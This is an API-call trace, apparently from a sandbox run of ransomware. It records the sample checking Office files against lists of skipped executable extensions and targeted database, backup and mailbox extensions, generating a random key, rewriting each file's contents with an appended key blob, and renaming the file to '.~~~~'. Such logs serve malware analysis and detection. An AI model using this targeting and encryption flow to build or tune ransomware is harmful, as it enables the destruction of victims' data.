	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DBX") returned 0x0
	[0140.683] lstrlenW (lpString=".MDT") returned 4
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".MDT") returned 0x0
	[0140.683] lstrlenW (lpString=".SQB") returned 4
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".SQB") returned 0x0
	[0140.683] lstrlenW (lpString=".vhd") returned 4
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".vhd") returned 0x0
	[0140.683] lstrlenW (lpString=".bac") returned 4
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".bac") returned 0x0
	[0140.683] lstrlenW (lpString=".mdf") returned 4
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".mdf") returned 0x0
	[0140.683] lstrlenW (lpString=".BAK") returned 4
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".BAK") returned 0x0
	[0140.683] lstrlenW (lpString=".BAC") returned 4
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".BAC") returned 0x0
	[0140.683] lstrlenW (lpString=".dbs") returned 4
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dbs") returned 0x0
	[0140.683] lstrlenW (lpString=".vhdx") returned 5
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.684] lstrlenW (lpString=".NDF") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".NDF") returned 0x0
	[0140.684] lstrlenW (lpString=".dat") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dat") returned 0x0
	[0140.684] lstrlenW (lpString=".DBS") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DBS") returned 0x0
	[0140.684] lstrlenW (lpString=".CKP") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".CKP") returned 0x0
	[0140.684] lstrlenW (lpString=".edb") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".edb") returned 0x0
	[0140.684] lstrlenW (lpString=".PST") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".PST") returned 0x0
	[0140.684] lstrlenW (lpString=".dbf") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dbf") returned 0x0
	[0140.684] lstrlenW (lpString=".SQL") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".SQL") returned 0x0
	[0140.684] lstrlenW (lpString=".pst") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".pst") returned 0x0
	[0140.684] lstrlenW (lpString=".dbv") returned 4
	[0140.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dbv") returned 0x0
	[0140.685] lstrlenW (lpString=".SDF") returned 4
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".SDF") returned 0x0
	[0140.685] lstrlenW (lpString=".dtxs") returned 5
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.685] lstrlenW (lpString=".db3") returned 4
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".db3") returned 0x0
	[0140.685] lstrlenW (lpString=".OST") returned 4
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".OST") returned 0x0
	[0140.685] lstrlenW (lpString=".dbx") returned 4
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dbx") returned 0x0
	[0140.685] lstrlenW (lpString=".DB3") returned 4
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DB3") returned 0x0
	[0140.685] lstrlenW (lpString=".DAT") returned 4
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DAT") returned 0x0
	[0140.685] lstrlenW (lpString=".VHDX") returned 5
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.685] lstrlenW (lpString=".ndf") returned 4
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".ndf") returned 0x0
	[0140.685] lstrlenW (lpString=".DB") returned 3
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DB") returned 0x0
	[0140.685] lstrlenW (lpString=".sql") returned 4
	[0140.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".sql") returned 0x0
	[0140.686] lstrlenW (lpString=".MYD") returned 4
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".MYD") returned 0x0
	[0140.686] lstrlenW (lpString=".DBT") returned 4
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DBT") returned 0x0
	[0140.686] lstrlenW (lpString=".ACCDB") returned 6
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.686] lstrlenW (lpString=".fdb") returned 4
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".fdb") returned 0x0
	[0140.686] lstrlenW (lpString=".bak") returned 4
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".bak") returned 0x0
	[0140.686] lstrlenW (lpString=".myd") returned 4
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".myd") returned 0x0
	[0140.686] lstrlenW (lpString=".DTXS") returned 5
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.686] lstrlenW (lpString=".ckp") returned 4
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".ckp") returned 0x0
	[0140.686] lstrlenW (lpString=".dbt") returned 4
	[0140.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dbt") returned 0x0
	[0140.686] lstrlenW (lpString=".db") returned 3
	[0140.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".db") returned 0x0
	[0140.687] lstrlenW (lpString=".TXT") returned 4
	[0140.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".TXT") returned 0x0
	[0140.687] lstrlenW (lpString=".MDF") returned 4
	[0140.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".MDF") returned 0x0
	[0140.687] lstrlenW (lpString=".bdb") returned 4
	[0140.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".bdb") returned 0x0
	[0140.687] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.687] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.689] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.689] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.808] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26079829270) returned 1
	[0140.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd5515b0, dwHighDateTime=0x1d60e1e)) 
	[0140.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d030
	[0140.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d030 | out: hHeap=0x300000) returned 1
	[0140.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8368
	[0140.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0140.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8368 | out: hHeap=0x300000) returned 1
	[0140.809] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.809] GetLastError () returned 0x0
	[0140.809] GetLastError () returned 0x0
	[0140.809] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.809] GetLastError () returned 0x0
	[0140.810] GetLastError () returned 0x0
	[0140.810] ReadFile (in: hFile=0x138, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x25dfec0*=0xf73, lpOverlapped=0x0) returned 1
	[0140.811] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff08d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.811] WriteFile (in: hFile=0x138, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0xf73, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x25dfec0*=0xf73, lpOverlapped=0x0) returned 1
	[0140.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0140.812] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.812] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.812] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.812] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.812] CloseHandle (hObject=0x138) returned 1
	[0140.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0140.812] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif.~~~~")) returned 1
	[0140.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8368 | out: hHeap=0x300000) returned 1
	[0140.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.818] GetLastError () returned 0x0
	[0140.818] RtlWakeConditionVariable () returned 0x0
	[0140.818] GetCurrentThreadId () returned 0x9f4
	[0140.818] GetCurrentThreadId () returned 0x9f4
	[0140.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0140.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7108 | out: hHeap=0x300000) returned 1
	[0140.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cff8 | out: hHeap=0x300000) returned 1
	[0140.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0140.818] lstrlenW (lpString=".scr") returned 4
	[0140.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".scr") returned 0x0
	[0140.818] lstrlenW (lpString=".cmd") returned 4
	[0140.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".cmd") returned 0x0
	[0140.818] lstrlenW (lpString=".dll") returned 4
	[0140.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dll") returned 0x0
	[0140.818] lstrlenW (lpString=".bat") returned 4
	[0140.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".bat") returned 0x0
	[0140.818] lstrlenW (lpString=".cpl") returned 4
	[0140.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".cpl") returned 0x0
	[0140.818] lstrlenW (lpString=".sys") returned 4
	[0140.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".sys") returned 0x0
	[0140.819] lstrlenW (lpString=".msc") returned 4
	[0140.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".msc") returned 0x0
	[0140.819] lstrlenW (lpString=".com") returned 4
	[0140.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".com") returned 0x0
	[0140.819] lstrlenW (lpString=".lnk") returned 4
	[0140.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".lnk") returned 0x0
	[0140.819] lstrlenW (lpString=".msp") returned 4
	[0140.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".msp") returned 0x0
	[0140.819] lstrlenW (lpString=".pif") returned 4
	[0140.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".pif") returned 0x0
	[0140.819] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.821] lstrlenW (lpString=".sqb") returned 4
	[0140.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".sqb") returned 0x0
	[0140.821] lstrlenW (lpString=".ost") returned 4
	[0140.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".ost") returned 0x0
	[0140.821] lstrlenW (lpString=".txt") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".txt") returned 0x0
	[0140.822] lstrlenW (lpString=".mdt") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".mdt") returned 0x0
	[0140.822] lstrlenW (lpString=".BDB") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".BDB") returned 0x0
	[0140.822] lstrlenW (lpString=".eql") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".eql") returned 0x0
	[0140.822] lstrlenW (lpString=".DBF") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DBF") returned 0x0
	[0140.822] lstrlenW (lpString=".EQL") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".EQL") returned 0x0
	[0140.822] lstrlenW (lpString=".FDB") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".FDB") returned 0x0
	[0140.822] lstrlenW (lpString=".EDB") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".EDB") returned 0x0
	[0140.822] lstrlenW (lpString=".DACPAC") returned 7
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.822] lstrlenW (lpString=".VHD") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".VHD") returned 0x0
	[0140.822] lstrlenW (lpString=".DBV") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DBV") returned 0x0
	[0140.822] lstrlenW (lpString=".dacpac") returned 7
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.822] lstrlenW (lpString=".sdf") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".sdf") returned 0x0
	[0140.822] lstrlenW (lpString=".accdb") returned 6
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".accdb") returned 0x0
	[0140.822] lstrlenW (lpString=".DBX") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DBX") returned 0x0
	[0140.822] lstrlenW (lpString=".MDT") returned 4
	[0140.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".MDT") returned 0x0
	[0140.822] lstrlenW (lpString=".SQB") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".SQB") returned 0x0
	[0140.823] lstrlenW (lpString=".vhd") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".vhd") returned 0x0
	[0140.823] lstrlenW (lpString=".bac") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".bac") returned 0x0
	[0140.823] lstrlenW (lpString=".mdf") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".mdf") returned 0x0
	[0140.823] lstrlenW (lpString=".BAK") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".BAK") returned 0x0
	[0140.823] lstrlenW (lpString=".BAC") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".BAC") returned 0x0
	[0140.823] lstrlenW (lpString=".dbs") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dbs") returned 0x0
	[0140.823] lstrlenW (lpString=".vhdx") returned 5
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.823] lstrlenW (lpString=".NDF") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".NDF") returned 0x0
	[0140.823] lstrlenW (lpString=".dat") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dat") returned 0x0
	[0140.823] lstrlenW (lpString=".DBS") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DBS") returned 0x0
	[0140.823] lstrlenW (lpString=".CKP") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".CKP") returned 0x0
	[0140.823] lstrlenW (lpString=".edb") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".edb") returned 0x0
	[0140.823] lstrlenW (lpString=".PST") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".PST") returned 0x0
	[0140.823] lstrlenW (lpString=".dbf") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dbf") returned 0x0
	[0140.823] lstrlenW (lpString=".SQL") returned 4
	[0140.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".SQL") returned 0x0
	[0140.824] lstrlenW (lpString=".pst") returned 4
